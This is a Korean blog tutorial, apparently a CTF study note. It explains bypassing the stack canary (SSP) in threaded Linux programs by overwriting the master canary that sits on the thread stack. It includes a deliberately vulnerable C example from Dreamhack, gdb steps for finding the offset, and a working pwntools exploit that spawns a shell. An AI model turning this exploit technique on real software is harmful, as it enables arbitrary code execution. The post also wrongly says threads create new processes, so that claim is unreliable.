SSP(Stack Smashing Protector) 보호기법은 스택 버퍼오버플로우를 방지하기 위해 개발된 기법이다.
SSP는 스택 buffer와 SFP(Stack Frame Pointer) 사이에 랜덤 값인 canary를 넣어서 함수 종료 시점에서 __stack_chk_fail( 함수 호출을 통해 canary 변조 여부를 체크함으로써 스택이 망가졌는지 확인한다.
다시 정리해서, SSP가 적용되어 있으면 함수에서 스택을 사용할 때 canary가 생성된다.
쓰레드를 생성하면 새로운 프로세스가 생긴다.
참고로 쓰레드는 프로세스 내에서 각각 Stack만 따로 할당받고, code, data, heap 영역은 공윻나다.
마스터 카나리는 main 함수가 호출되기 전에 랜덤으로 생성된 카나리를 쓰레드마다 전역 변수로 사용되는 TLS(Thread Local Storage)에 저장을 한다.
이는 모든 쓰레드가 하나의 카나리 값을 사용하기 위해서이다.
일반적으로 마스터 카나리는 스택에 존재하지 않기 때문에 BOF가 발생해도 익스플로잇을 못하게 된다. 하지만 쓰레드 스택의 경우는 예외적으로 쓰레드 스택에 마스터카나리가 들어가게 된다.
쓰레드로 생성한 프로세스에서 카나리를 검증할 때 '마스터 카나리'라는 값과 비교한다.
이 이야기의 핵심은 쓰레드를 쓰는 환경에서만 스택에 존재하는 마스터 카나리를 덮어서 카나리를 우회할 수 있는 것이 핵심이다.
드림핵에 있는 예제를 들고왔다.
// gcc -o master2 master2.c -pthread
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell()
{
execve("/bin/sh",0,0);
}
int thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read(0, buf, size);
return 0;
}
int main()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
pthread_t thread_t;
if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
{
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
giveshell 함수가 존재하고, thread_routine 함수에서 Size를 내가 원하는 크기만큼 입력하여 Data를 넣을 수 있기때문에 버퍼오버플로우가 발생한다.
pthread_create로 쓰레드를 생성하게 되면 마스터 카나리인 tcbhead_t 구조체의 stack_guard(master canary)를 복사하여 사용하기 때문에 이것을 덮어써 마스터 카나리를 원하는 값으로 조작할 수 있다.
쓰레드로 생성한 프로세스에서 카나리를 검증할 때 마스터 카나리 값과 비교하기 때문에, 카나리 값을 릭하지 않더라도 카나리 값과 마스터 카나리 값을 같게 조작할 수 있을 것이다.
다시 말해서 쓰레드를 쓰는 환경의 경우 카나리 값을 몰라도 SSP 보호기법을 우회할 수 있다.
더미값 + canary("master12") + SFP + giveshell + 더미값 + master canary("master12")
우리는 RET로 giveshell 주소를 줘야하고, canary값과 master canary 값을 "master12"로 같게 줄 것이다.
여기서 우리는 RET와 master canary 사이의 거리를 구해야 한다.
thread_routine에서 size를 입력하는 부분인 0x00000000004009a8 부터 브포를 걸고 스택을 확인해보았다.
우리가 데이터를 입력하는 영역은 0x7ffff77eee40인 것을 확인할 수 있다.
이제 여기서 카나리 값을 찾아보자.
0x400a94까지 이동을 해서 rdx를 확인해보자.
카나리 값을 찾았다!
이제 find 명령을 이용하여 카나리 값의 주소를 찾아보자. (마스터 카나리 찾는 과정)
여기서 내가 쓴 영역(스택)에 포함되는 것이 마스터 카나리 일 것 이다.
먼저 vmmap으로 열어봤을 때 우리가 쓴 스택의 영역은 0x00007ffff6ff0000~ 0x00007ffff77f0000 에 포함된다.
0x00007ffff6ff0000~ 0x00007ffff77f0000 이 영역에 포함되는 카나리 값 주소는 한 개이다.
마스터 카나리 주소는 0x7ffff77ef728이다.
스택 범위 안에 포함되는 카나리 값(=마스터 카나리) - 스택 시작 주소
를 하게 되면 우리가 쓰기 시작한 부분과 마스터 카나리 주소의 거리는 0x8e8인 것을 알 수 있다.
참고로 내가 거의 마지막 부분 다와서(카나리 검사하기 직전) find 명령으로 카나리 값 주소를 확인해서 저렇게 세 개가 나온 것이고, 중간에 쓰레드가 형성중일 때 카나리 값을 find하면 네개가 나온다.
(쓰레드 영역은 쓰레드를 생성해야 매핑이 되는 메모리 공간이기 때문)
(쓰레드를 생성하기 전엔 없는 공간이다.)
이 경우 맨 첫번째 값은 내가 쓰기 시작하는 영역에서의 카나리 값이고, 두번째 값이 마스터 카나리 값이다.
다시 본론으로 돌아와서...
더미값 + canary("master12") + SFP + giveshell + 더미값 + master canary("master12")
우리가 방금 구한 0x8e8은 우리가 적기 시작한 영역부터 마스터 카나리의 오프셋이다.
그런데 우리가 구해야 할 것은, RET부터 마스터 카나리의 오프셋이다.
간단하게.. 그냥 앞의 바이트들을 빼주면 된다.
익스 코드를 작성해보자.
from pwn import *
p = process("./master2")
elf = ELF('./master2')
giveshell = elf.symbols['giveshell']
payload = "A"*0x108
payload += "master12" # canary
payload += "B"*8 # SFP
payload += p64(giveshell) # RET
payload += "A"*(0x7c8)
payload += "master12" # master canary
p.sendlineafter("Size: ", str(len(payload)))
p.sendlineafter("Data:", payload)
p.interactive()
'System Hacking' 카테고리의 다른 글
Integer issue (정수의 범위, 묵시적 형변환, integer overflow) (0) | 2021.01.27 |
---|---|
Use-After-Free (UAF) (0) | 2021.01.06 |
one-shot gadget (원샷 가젯) (0) | 2020.11.13 |
Linking(링킹), Dynamic Link (0) | 2020.10.16 |
내가 헷갈리는 주소의 개념 & 간단한 ASLR 이야기 (0) | 2020.10.12 |